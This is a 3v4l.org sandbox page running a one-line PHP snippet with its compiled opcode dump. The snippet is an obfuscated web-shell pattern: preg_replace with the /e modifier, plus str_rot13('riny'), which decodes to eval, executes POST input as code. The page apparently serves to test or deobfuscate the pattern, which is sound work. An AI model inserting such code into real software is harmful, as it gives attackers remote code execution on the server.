3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_POST['dak'] = "http://google.com"; if(isset($_POST['dak'])){ echo ($www = $_POST['dak']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($www)', 'add'); }
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 24
Branch analysis from position: 6
2 jumps found. (Code = 46) Position 1 = 10, Position 2 = 23
Branch analysis from position: 10
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 23
Branch analysis from position: 24
filename:       /in/TPQat
function name:  (null)
number of ops:  25
compiled vars:  !0 = $www
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   FETCH_W                      global              $1      '_POST'
          1        ASSIGN_DIM                                               $1, 'dak'
          2        OP_DATA                                                  'http%3A%2F%2Fgoogle.com'
    3     3        FETCH_IS                                         ~3      '_POST'
          4        ISSET_ISEMPTY_DIM_OBJ                         0          ~3, 'dak'
          5      > JMPZ                                                     ~4, ->24
    4     6    >   FETCH_R                      global              ~5      '_POST'
          7        FETCH_DIM_R                                      ~6      ~5, 'dak'
          8        ASSIGN                                           ~7      !0, ~6
          9      > JMPZ_EX                                          ~7      ~7, ->23
         10    >   BEGIN_SILENCE                                    ~8      
         11        INIT_FCALL                                               'preg_replace'
         12        SEND_VAL                                                 '%2Fad%2Fe'
         13        INIT_FCALL                                               'str_rot13'
         14        SEND_VAL                                                 'riny'
         15        DO_ICALL                                         $9      
         16        CONCAT                                           ~10     '%40', $9
         17        CONCAT                                           ~11     ~10, '%28%24www%29'
         18        SEND_VAL                                                 ~11
         19        SEND_VAL                                                 'add'
         20        DO_ICALL                                         $12     
         21        END_SILENCE                                              ~8
         22        BOOL                                             ~7      $12
         23    >   ECHO                                                     ~7
    6    24    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
167.09 ms | 1395 KiB | 17 Q